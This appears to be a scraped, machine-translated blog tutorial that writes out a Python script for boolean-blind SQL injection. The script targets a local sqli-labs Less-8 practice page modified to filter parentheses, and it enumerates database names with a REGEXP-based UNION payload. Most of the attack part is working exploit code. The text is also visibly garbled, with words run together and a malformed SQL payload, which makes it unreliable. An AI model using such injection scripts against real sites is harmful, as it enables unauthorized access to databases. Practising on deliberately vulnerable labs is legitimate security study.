Python learns to bypass parentheses after filtering the blinds

Source: Internet
Author: User

0x00 Environment Construction

Sqli-labs Eighth, simply modify the source code, add the following line of code

$id =preg_replace ('/\ (|\)/', ' ", $id); Filter parentheses

0x01 Script Writing

1. Construction payload

' Union select Information_schema.tables from ' where table_schema regexp binary ' ^%s.*$ '---

2. The script is as follows

#Coding=utf-8ImportUrlliburl="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s"
#测试payloadpayload="' and 1=2 Union select from information_schema.tables where table_schema regexp binary ' ^%s.*$ '---"#简单测试字典, here you can use String.printablelist='abcdefghijklmnopqrstuvwxyz'#递归暴库defCheck (str): forChinchlist:payloads=payload% (str+ch)ifCheck1 (payloads):Printstr+ch Check (str+ch) #判断正则匹配结果是否正确defCheck1 (str1): Resp=urllib.urlopen (url%str1). Read ()if " You is in" inchresp:returnTrueElse: returnFalseif __name__=="__main__": Check ("")

Script execution Partial results

Python learns to bypass parentheses after filtering the blinds

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.